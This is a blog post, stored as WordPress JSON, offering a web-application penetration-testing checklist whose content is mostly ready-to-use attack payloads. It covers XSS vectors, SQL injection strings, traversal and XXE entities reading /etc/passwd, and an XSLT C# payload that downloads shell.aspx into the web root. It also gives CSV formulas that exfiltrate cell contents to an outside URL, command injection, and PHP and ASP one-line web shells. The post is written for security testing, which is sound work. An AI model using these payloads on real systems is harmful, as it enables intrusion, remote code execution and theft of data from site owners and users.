{"id":166,"date":"2018-02-11T04:29:55","date_gmt":"2018-02-11T04:29:55","guid":{"rendered":"http:\/\/malwrforensics.com\/en\/?p=166"},"modified":"2022-01-24T07:14:03","modified_gmt":"2022-01-24T07:14:03","slug":"web-app-penentration-testing-checklist-and-cheatsheet-with-examples","status":"publish","type":"post","link":"https:\/\/malwrforensics.com\/en\/2018\/02\/11\/web-app-penentration-testing-checklist-and-cheatsheet-with-examples\/","title":{"rendered":"Web app penentration testing checklist and cheatsheet (with examples)"},"content":{"rendered":"<p>It&#8217;s always handy to have a good checklist when it comes to web app pen-testing. It&#8217;s even better to have some examples for each case \ud83d\ude42<\/p>\n<p>We&#8217;ll start with more &#8220;general&#8221; cases and then dig deeper into some obscure or language dependent attacks.<\/p>\n<h2>Glossary<\/h2>\n<p><strong>XSS (Cross-site scripting)<\/strong><\/p>\n<p><strong>CSS(Cascading Style Sheet) injection<\/strong><\/p>\n<p><strong>Format string attack<\/strong><\/p>\n<p><strong>Directory traversal<\/strong><\/p>\n<p><strong>SQL injection<\/strong><\/p>\n<p><strong>SSJSI<\/strong><\/p>\n<p><strong>XXE (Xml eXternal Entity)<\/strong><\/p>\n<p><strong>XXE C# remote code execution<\/strong><\/p>\n<p><strong>Deserialization<\/strong><\/p>\n<p><strong>Expression Language Injection<\/strong><\/p>\n<p><strong>Insecure direct object access<\/strong><\/p>\n<p><strong>Open redirect<\/strong><\/p>\n<p><strong>HTTP content splitting<\/strong><\/p>\n<p><strong>CSRF (Cross-site request forgery)<\/strong><\/p>\n<p><strong>CORS (Cross-origin resource sharing)<\/strong><\/p>\n<p><strong>Check if tokens are removed at logout<\/strong><\/p>\n<p><strong>Change<\/strong> <strong>HTTP Referer<\/strong><\/p>\n<p><strong>Truncate file names<\/strong><\/p>\n<p><strong>CSV injection<\/strong><\/p>\n<p><strong>Code execution<\/strong><\/p>\n<p><strong>File upload<\/strong><\/p>\n<h2><\/h2>\n<h2>Examples<\/h2>\n<p><strong>XSS (Cross-site scripting)<\/strong><\/p>\n<pre><span style=\"color: #800080;\">&lt;svg onload=alert(1)&gt;\n&lt;svg\/onload=alert(1)&gt;\n&lt;img src=x123 onerror=confirm(1)&gt;\nonmousemove=\"prompt(1);\"\n\n<\/span><\/pre>\n<p><strong>CSS (Cascading Style Sheet) injection<\/strong><\/p>\n<p>When a CSS file is imported into the page, check for the absence of a leading &#8220;\/&#8221; character.<\/p>\n<p>Here is an example:<\/p>\n<pre><span style=\"color: #800080;\">&lt;link href=\"styles.css\" ...\n<\/span><\/pre>\n<p>More details <a href=\"http:\/\/blog.portswigger.net\/2015\/02\/prssi.html\">here<\/a> and <a href=\"https:\/\/www.theregister.co.uk\/2015\/02\/20\/prssi_web_vuln\/\">here<\/a>.<\/p>\n<p><strong>Format string attack<\/strong><\/p>\n<pre><span style=\"color: #800080;\">%d%d%d\u2026\u2026%d\n%n%n%n\u2026\u2026%n\n%lf%lf%lf\u2026\u2026%lf\n%s%s%s\u2026\u2026%s\n%x%x%x\u2026\u2026%x<\/span><\/pre>\n<p><strong>Directory traversal<\/strong><\/p>\n<pre><span style=\"color: #800080;\">..\/..\/ [...] \/etc\/ passwd\n..\/..\/ [...] \/windows\/ system.ini<\/span><\/pre>\n<p><strong>SQL injection<\/strong><\/p>\n<pre><span style=\"color: #800080;\">' or \"1\"='1\n\" or '1'=\"1\n\" OR SLEEP(5000) --\n' OR SLEEP(5000) --\n\" OR WAITFOR DELAY '00:00:05' --\n' OR WAITFOR DELAY '00:00:05' --\n...<\/span><\/pre>\n<p><strong>SSJS injection<\/strong><\/p>\n<pre><span style=\"color: #800080;\">res.end('malwrforensics')\nres.end(require('fs').readFileSync('\/etc\/ passwd'))<\/span><\/pre>\n<p><strong>XXE (Xml eXternal Entity)<\/strong><\/p>\n<pre><span style=\"color: #800080;\">&lt;?xml version=\"1.0\" encoding=\"ISO-8859-1\"?&gt;\n&lt;!DOCTYPE foo [ &lt;!ELEMENT foo ANY &gt;\n&lt;!ENTITY xxe SYSTEM \"file:\/\/\/etc \/ passwd\" &gt;]&gt;\n&lt;foo&gt;&amp;xxe;&lt;\/foo&gt;\n\n&lt;?xml version=\"1.0\" encoding=\"ISO-8859-1\"?&gt;\n&lt;!DOCTYPE foo [ &lt;!ELEMENT foo ANY &gt;\n&lt;!ENTITY xxe SYSTEM \"expect:\/\/id\" &gt;]&gt;\n&lt;creds&gt;&lt;user&gt;&amp;xxe;&lt;\/user&gt;\n&lt;pass&gt;mypass&lt;\/pass&gt;&lt;\/creds&gt;\n\n&lt;?xml version=\"1.0\" encoding=\"ISO-8859-1\"?&gt;\n&lt;!DOCTYPE foo [ &lt;!ELEMENT foo ANY &gt;\n&lt;!ENTITY xxe SYSTEM \"http:\/\/malwrforensics.com\/scripts\/hex_to_bin.txt\" &gt;]&gt;\n&lt;foo&gt;&amp;xxe;&lt;\/foo&gt;<\/span><\/pre>\n<p><span style=\"color: #800080;\"><strong>XXE C# remote code execution<\/strong><\/span><\/p>\n<pre><span style=\"color: #800080;\">&lt;?xml version='1.0'?&gt;\n&lt;xsl:stylesheet version=\"1.0\"\nxmlns:xsl=\"http:\/\/www.w3.org\/1999\/XSL\/Transform\"\nxmlns:msxsl=\"urn:schemas-microsoft-com:xslt\"\nxmlns:user=\"http:\/\/test.com\/testnamespace\"&gt;\n&lt;msxsl:script language=\"C#\" implements-prefix=\"user\"&gt;\n&lt;![CDATA[\npublic string xml()\n{\n    System.Net.WebClient webClient = new System.Net.WebClient();\n    webClient.DownloadFile(\"https:\/\/x.x.x.x\/shell.aspx\",\n                       @\"c:\\inetpub\\wwwroot\\shell.aspx\");\n\n    return \"It works!\";\n}\n]]&gt;\n&lt;\/msxsl:script&gt;\n&lt;xsl:template match=\"\/\"&gt;\n&lt;xsl:value-of select=\"user:xml()\"\/&gt;\n&lt;\/xsl:template&gt;\n&lt;\/xsl:stylesheet&gt;<\/span>\n\nIf you don't have a webserver at your disposal, you can just check if it's working wiht a code like this:\n\n<span style=\"color: #800080;\">&lt;xsl:stylesheet\u00a0version=\"1.0\"\u00a0\n\u00a0\u00a0\u00a0 xmlns:xsl=\"http:\/\/www.w3.org\/1999\/XSL\/Transform\"\u00a0\n\u00a0\u00a0\u00a0 xmlns:msxsl=\"urn:schemas-microsoft-com:xslt\"\u00a0\n\u00a0\u00a0\u00a0 xmlns:user=\"http:\/\/example.com\/ns\"&gt;\u00a0\n&lt;msxsl:script\u00a0language=\"C#\"\u00a0implements-prefix=\"user\"&gt;\u00a0\n\u00a0\u00a0\u00a0\u00a0&lt;![CDATA[\u00a0\n\u00a0\u00a0\u00a0\u00a0public string Code()\u00a0\n\u00a0\u00a0\u00a0 {\u00a0\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 return \"malwrforensics_token\";\u00a0\n\u00a0\u00a0\u00a0 }\u00a0\n\u00a0\u00a0\u00a0 ]]&gt;\u00a0\n&lt;\/msxsl:script&gt;\u00a0\n&lt;xsl:template\u00a0match=\"\/\"&gt;\u00a0\n\u00a0\u00a0\u00a0\u00a0&lt;xsl:value-of\u00a0select=\"user:Code()\"\/&gt;\u00a0\n&lt;\/xsl:template&gt;\u00a0\n&lt;\/xsl:stylesheet&gt;\n\n<\/span>(more details <a href=\"https:\/\/blogs.iis.net\/nazim\/safely-handling-untrusted-xml-server-side\">here<\/a>)<\/pre>\n<p>More details <a href=\"https:\/\/zerosum0x0.blogspot.com\/2016\/05\/xml-attack-for-c-remote-code-execution.html\">here<\/a>.<\/p>\n<p><strong>Deserialization<\/strong><\/p>\n<p>Java<\/p>\n<p><a href=\"https:\/\/github.com\/GrrrDog\/Java-Deserialization-Cheat-Sheet\">This<\/a> is a great resource (and cheat sheet).<\/p>\n<p>.NET:<\/p>\n<p>You can find <a href=\"http:\/\/malwrforensics.com\/en\/2018\/03\/02\/net-serialization-deserialization-basic-c-attack-example\/\">here<\/a> a basic C# example of a deserialization attack.<\/p>\n<p>Usually the payloads will be base64 encoded.<\/p>\n<pre><span style=\"color: #800080;\"><code>AAEAAAD\/\/\/\/\/...<\/code><\/span><\/pre>\n<p>More details <a href=\"https:\/\/github.com\/pwntester\/ysoserial.net\">here<\/a>\u00a0and <a href=\"https:\/\/googleprojectzero.blogspot.com.es\/2017\/04\/exploiting-net-managed-dcom.html\">here<\/a>.<\/p>\n<p><strong>Expression Language Injection<\/strong><\/p>\n<pre><span style=\"color: #800080;\">T(java.lang.Runtime).getRuntime().exec(\u201ccalc.exe\u201d)<\/span><\/pre>\n<p>More details <a href=\"https:\/\/www.owasp.org\/index.php\/Expression_Language_Injection\">here<\/a>.<\/p>\n<p><strong>Insecure direct object access<\/strong><\/p>\n<p>If an object is referenced by an ID, check if you can access other objects that aren&#8217;t exposed (objects you aren&#8217;t supposed to have access to).<\/p>\n<pre><span style=\"color: #800080;\">Example: https:\/\/web.site\/downloadfile?id=<b>12345\n<\/b>Check other objects with different IDs (..,12344, 12346,..)<\/span><\/pre>\n<p><strong>Open redirect<\/strong><\/p>\n<p>This usually happens when one of the parameters in a form points to an URL.<\/p>\n<pre><span style=\"color: #800080;\">Example: https:\/\/web.site\/doCmd?id=1&amp;<strong>url=http:\/\/web.site\/page\n<\/strong>You can change the url to point to another (phishing\/malicious) website.<\/span><\/pre>\n<p>Can be used to bypass some content filtering systems, especially if used in conjunction with an <a href=\"https:\/\/en.wikipedia.org\/wiki\/URL_shortening\">URL shortening service<\/a>.<\/p>\n<p><strong>HTTP content splitting<\/strong><\/p>\n<p>Inject CR\/LF (\\r\\n) in the HTTP headers (for example if you control a cookie value).<\/p>\n<p>More details <a href=\"https:\/\/www.owasp.org\/index.php\/HTTP_Response_Splitting\">here<\/a>.<\/p>\n<p><strong>CSRF (Cross-site request forgery)<\/strong><\/p>\n<p>Check for the presence of tokens with random values in forms. Especially forms that will change a password, edit an address\/order\/.., etc.<\/p>\n<p><strong>CORS (Cross-origin resource sharing)<\/strong><\/p>\n<p>Set the &#8220;Origin&#8221; in the HTTP header to a website you control. For example, it can be useful to steal CSRF tokens.<\/p>\n<pre><span style=\"color: #800080;\">curl -H \"http:\/\/malwrforensics.com\" http:\/\/&lt;yourwebsite&gt;\n\nCheck if you receive \n\"<em>Access-Control-Allow-Origin: http:\/\/malwrforensics.com<\/em>\" or \n\"<em>Access-Control-Allow-Origin: *<\/em>\"<\/span><\/pre>\n<p>More details <a href=\"https:\/\/yassineaboukir.com\/blog\/security-impact-of-a-misconfigured-cors-implementation\/\">here<\/a>\u00a0and a great explanation <a href=\"https:\/\/www.trustedsec.com\/2018\/04\/cors-findings\/\">here<\/a>.<\/p>\n<p><strong>Check if tokens are removed at logout<\/strong><\/p>\n<p>Check if the tokens and cookies are still valid if you logoff. Use a proxy to get the cookies\/parameters and then iterate through them and check if they are still valid.<\/p>\n<p><strong>Change<\/strong> <strong>HTTP Referer<\/strong><\/p>\n<p>Use a proxy (Burp\/ZAP\/etc) to intercept and change the\u00a0<strong>Referer\u00a0<\/strong>field. Look for errors.<\/p>\n<p><strong>Truncate file names<\/strong><\/p>\n<p>Add %00 or %0D%0A when doing GET\/POST requests for files.<\/p>\n<p><strong>CSV injection<\/strong><\/p>\n<p>Add something like one of the following in the fields in the csv file.<\/p>\n<pre><span style=\"color: #800080;\">\"=1+1+cmd|' \/C calc'!A0\"\n<span class=\"hljs-string\">\"=IMPORTXML(<\/span><span class=\"hljs-string\">\"http:\/\/web.server?p=\"<\/span><span class=\"hljs-string\">\", <\/span><span class=\"hljs-string\">\"\/\/a\"<\/span><span class=\"hljs-string\">)\"<\/span>\n<span class=\"hljs-string\">\"=IMPORTXML(<\/span><span class=\"hljs-string\">\"http:\/\/web.server?p=\"<\/span><span class=\"hljs-string\">, <\/span><span class=\"hljs-string\">\"\/\/a\/@href\"<\/span><span class=\"hljs-string\">)\"<\/span>\n<span class=\"pun\">\n=<\/span><span class=\"pln\">HYPERLINK<\/span><span class=\"pun\">(<\/span><span class=\"str\">\"http:\/\/web.server?leak=\"<\/span><span class=\"pun\">&amp;<\/span><span class=\"pln\">A1<\/span><span class=\"pun\">&amp;<\/span><span class=\"pln\">A2<\/span><span class=\"pun\">,\n<\/span><span class=\"str\">\"Error: please click here\"<\/span><span class=\"pun\">)  \nThis will show an error and when the user clicks on it, \nthe contents of A1 and A2 fields will be exfiltrated.<\/span><\/span><\/pre>\n<p><strong>Code execution<\/strong><\/p>\n<pre><span style=\"color: #800080;\">; cat \/etc\/ passwd\n&amp; dir c:<\/span><\/pre>\n<p><strong>File upload<\/strong><\/p>\n<p>If the page you&#8217;re testing allows users to upload files, you may want to test some of the following:<\/p>\n<ul>\n<li>html page with javascript<\/li>\n<\/ul>\n<pre><span style=\"color: #800080;\">&lt;html&gt;&lt;body&gt; &lt; script &gt; alert ( 'test' ); &lt; \/ script&gt;<\/span><\/pre>\n<ul>\n<li>html page with ASP.NET<\/li>\n<\/ul>\n<pre><span style=\"color: #800080;\"><span class=\"HTML-ASPDelimiterStyle\">&lt;%<\/span><span class=\"VBScript-DefaultStyle\">\n    label1.Text <\/span><span class=\"VBScript-OperatorStyle\">=<\/span> <span class=\"VBScript-StringDelimiterStyle\">\"<\/span><span class=\"VBScript-StringDefaultStyle\">test<\/span><span class=\"VBScript-StringDelimiterStyle\">\"<\/span><span class=\"VBScript-DefaultStyle\">;\n<\/span><span class=\"HTML-ASPDelimiterStyle\">%&gt;<\/span>\n<span class=\"HTML-DeclarationDelimiterStyle\">&lt;!<\/span><span class=\"HTML-DeclarationDefaultStyle\">DOCTYPE html PUBLIC \"-\/\/W3C\/\/DTD XHTML 1.0 Transitional\/\/EN\" \"http:\/\/www.w3.org\/TR\/xhtml1\/DTD\/xhtml1-transitional.dtd\"<\/span><span class=\"HTML-DeclarationDelimiterStyle\">&gt;<\/span>\n<span class=\"HTML-TagDelimiterStyle\">&lt;<\/span><span class=\"HTML-TagNameStyle\">html <\/span><span class=\"HTML-TagAttributeStyle\">xmlns<\/span><span class=\"HTML-TagAttributeValueStyle\">=\"http:\/\/www.w3.org\/1999\/xhtml\"<\/span> <span class=\"HTML-TagDelimiterStyle\">&gt;<\/span>\n<span class=\"HTML-TagDelimiterStyle\">&lt;<\/span><span class=\"HTML-TagNameStyle\">head <\/span><span class=\"HTML-TagAttributeStyle\">runat<\/span><span class=\"HTML-TagAttributeValueStyle\">=\"server\"<\/span><span class=\"HTML-TagDelimiterStyle\">&gt;<\/span>\n    <span class=\"HTML-TagDelimiterStyle\">&lt;<\/span><span class=\"HTML-TagNameStyle\">title<\/span><span class=\"HTML-TagDelimiterStyle\">&gt;<\/span><span class=\"HTML-DefaultStyle\">Test Page<\/span><span class=\"HTML-TagDelimiterStyle\">&lt;\/<\/span><span class=\"HTML-TagNameStyle\">title<\/span><span class=\"HTML-TagDelimiterStyle\">&gt;<\/span>\n<span class=\"HTML-TagDelimiterStyle\">&lt;\/<\/span><span class=\"HTML-TagNameStyle\">head<\/span><span class=\"HTML-TagDelimiterStyle\">&gt;<\/span>\n<span class=\"HTML-TagDelimiterStyle\">&lt;<\/span><span class=\"HTML-TagNameStyle\">body<\/span><span class=\"HTML-TagDelimiterStyle\">&gt;<\/span>\n    <span class=\"HTML-TagDelimiterStyle\">&lt;<\/span><span class=\"HTML-TagNameStyle\">form <\/span><span class=\"HTML-TagAttributeStyle\">id<\/span><span class=\"HTML-TagAttributeValueStyle\">=\"form1\"<\/span><span class=\"HTML-TagAttributeStyle\"> runat<\/span><span class=\"HTML-TagAttributeValueStyle\">=\"server\"<\/span><span class=\"HTML-TagDelimiterStyle\">&gt;<\/span>\n    <span class=\"HTML-TagDelimiterStyle\">&lt;<\/span><span class=\"HTML-TagNameStyle\">div<\/span><span class=\"HTML-TagDelimiterStyle\">&gt;<\/span>\n        <span class=\"HTML-TagDelimiterStyle\">&lt;<\/span><span class=\"HTML-TagNameStyle\">asp:Label <\/span><span class=\"HTML-TagAttributeStyle\">runat<\/span><span class=\"HTML-TagAttributeValueStyle\">=\"server\"<\/span><span class=\"HTML-TagAttributeStyle\"> id<\/span><span class=\"HTML-TagAttributeValueStyle\">=\"label1\"<\/span><span class=\"HTML-TagDelimiterStyle\">&gt;&lt;\/<\/span><span class=\"HTML-TagNameStyle\">asp:Label<\/span><span class=\"HTML-TagDelimiterStyle\">&gt;<\/span>\n    <span class=\"HTML-TagDelimiterStyle\">&lt;\/<\/span><span class=\"HTML-TagNameStyle\">div<\/span><span class=\"HTML-TagDelimiterStyle\">&gt;<\/span>\n    <span class=\"HTML-TagDelimiterStyle\">&lt;\/<\/span><span class=\"HTML-TagNameStyle\">form<\/span><span class=\"HTML-TagDelimiterStyle\">&gt;<\/span>\n<span class=\"HTML-TagDelimiterStyle\">&lt;\/<\/span><span class=\"HTML-TagNameStyle\">body<\/span><span class=\"HTML-TagDelimiterStyle\">&gt;<\/span>\n<span class=\"HTML-TagDelimiterStyle\">&lt;\/<\/span><span class=\"HTML-TagNameStyle\">html<\/span><\/span><span class=\"HTML-TagDelimiterStyle\"><span style=\"color: #800080;\">&gt;<\/span>\n\nor\n\n<span style=\"color: #800080;\">&lt;% Eval ( Request.QueryString ( \"cmd\" ) ) ; %&gt;\n<\/span><\/span><\/pre>\n<ul>\n<li>office files with macros<\/li>\n<\/ul>\n<pre><span style=\"color: #800080;\">Create a new office file, open\u00a0 the VBA editor and go to a function like Document_Open() and add the following code:\n\nMsgBox(\"test\")<\/span>\n\nor\n\n<span style=\"color: #800080;\">Shell (\"calc.exe\", vbNormalFocus)<\/span><\/pre>\n<ul>\n<li>xml file<\/li>\n<\/ul>\n<pre><span style=\"color: #800080;\">&lt;?xml version=\"1.0\" encoding=\"ISO-8859-1\"?&gt;\n &lt;!DOCTYPE foo [  \n  &lt;!ELEMENT foo ANY &gt;\n  &lt;!ENTITY xxe SYSTEM \"file:\/\/\/ etc \/ passwd\" &gt;]&gt;&lt;foo&gt;&amp;xxe;&lt;\/foo&gt;\n\n&lt;?xml version=\"1.0\" encoding=\"ISO-8859-1\"?&gt; &lt;!DOCTYPE foo [ &lt;!ELEMENT foo ANY &gt; &lt;!ENTITY xxe SYSTEM \"file:\/\/\/ c:\/ windows \/ system.ini\" &gt;]&gt;&lt;foo&gt;&amp;xxe;&lt;\/foo&gt;\n\n<\/span><\/pre>\n<pre><span style=\"color: #800080;\">&lt;?xml version=\"1.0\" encoding=\"ISO-8859-1\"?&gt;\n &lt;!DOCTYPE foo [  \n   &lt;!ELEMENT foo ANY &gt;\n   &lt;!ENTITY xxe SYSTEM \"http:\/\/malwrforensics.com\/en\/\" &gt;]&gt;&lt;foo&gt;&amp;xxe;&lt;\/foo&gt;<\/span><\/pre>\n<ul>\n<li>images with appended php code<\/li>\n<\/ul>\n<pre><span style=\"color: #800080;\">&lt; ? php echo ( \"test\" ); ? &gt;<\/span>\n\nor\n\n<span style=\"color: #800080;\">&lt; ? php passthru ( base64_decode ( $_GET ['cmd']\u00a0 ) ) ;? &gt;<\/span><\/pre>\n","protected":false},"excerpt":{"rendered":"<p>It&#8217;s always handy to have a good checklist when it comes to web app pen-testing. It&#8217;s even better to have some examples for each case \ud83d\ude42 We&#8217;ll start with more &#8220;general&#8221; cases and then dig deeper into some obscure or language dependent attacks. Glossary XSS (Cross-site scripting) CSS(Cascading Style Sheet) injection Format string attack Directory [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[78,79,77,49,51,27,45,47,48,50,44,25,46],"class_list":["post-166","post","type-post","status-publish","format-standard","hentry","category-security","tag-cors","tag-cross-origin-resource-sharing","tag-cross-site-request-forgery","tag-csrf","tag-deserialization","tag-directory-traversal","tag-format-string-attack","tag-rce","tag-remote-code-execution","tag-server-side-javascript-injection","tag-sql-injection","tag-xss","tag-xxe"],"blocksy_meta":{"styles_descriptor":{"styles":{"desktop":"","tablet":"","mobile":""},"google_fonts":[]}},"featured_image_urls_v2":{"full":"","thumbnail":"","medium":"","medium_large":"","large":"","1536x1536":"","2048x2048":""},"post_excerpt_stackable_v2":"<p>It&#8217;s always handy to have a good checklist when it comes to web app pen-testing. It&#8217;s even better to have some examples for each case \ud83d\ude42 We&#8217;ll start with more &#8220;general&#8221; cases and then dig deeper into some obscure or language dependent attacks. Glossary XSS (Cross-site scripting) CSS(Cascading Style Sheet) injection Format string attack Directory traversal SQL injection SSJSI XXE (Xml eXternal Entity) XXE C# remote code execution Deserialization Expression Language Injection Insecure direct object access Open redirect HTTP content splitting CSRF (Cross-site request forgery) CORS (Cross-origin resource sharing) Check if tokens are removed at logout Change HTTP Referer Truncate&hellip;<\/p>\n","category_list_v2":"<a href=\"https:\/\/malwrforensics.com\/en\/category\/security\/\" rel=\"category tag\">Security<\/a>","author_info_v2":{"name":"malwrforensics","url":"https:\/\/malwrforensics.com\/en\/author\/u_malwrforensics\/"},"comments_num_v2":"0 comments","_links":{"self":[{"href":"https:\/\/malwrforensics.com\/en\/wp-json\/wp\/v2\/posts\/166","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/malwrforensics.com\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/malwrforensics.com\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/malwrforensics.com\/en\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/malwrforensics.com\/en\/wp-json\/wp\/v2\/comments?post=166"}],"version-history":[{"count":33,"href":"https:\/\/malwrforensics.com\/en\/wp-json\/wp\/v2\/posts\/166\/revisions"}],"predecessor-version":[{"id":799,"href":"https:\/\/malwrforensics.com\/en\/wp-json\/wp\/v2\/posts\/166\/revisions\/799"}],"wp:attachment":[{"href":"https:\/\/malwrforensics.com\/en\/wp-json\/wp\/v2\/media?parent=166"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/malwrforensics.com\/en\/wp-json\/wp\/v2\/categories?post=166"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/malwrforensics.com\/en\/wp-json\/wp\/v2\/tags?post=166"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}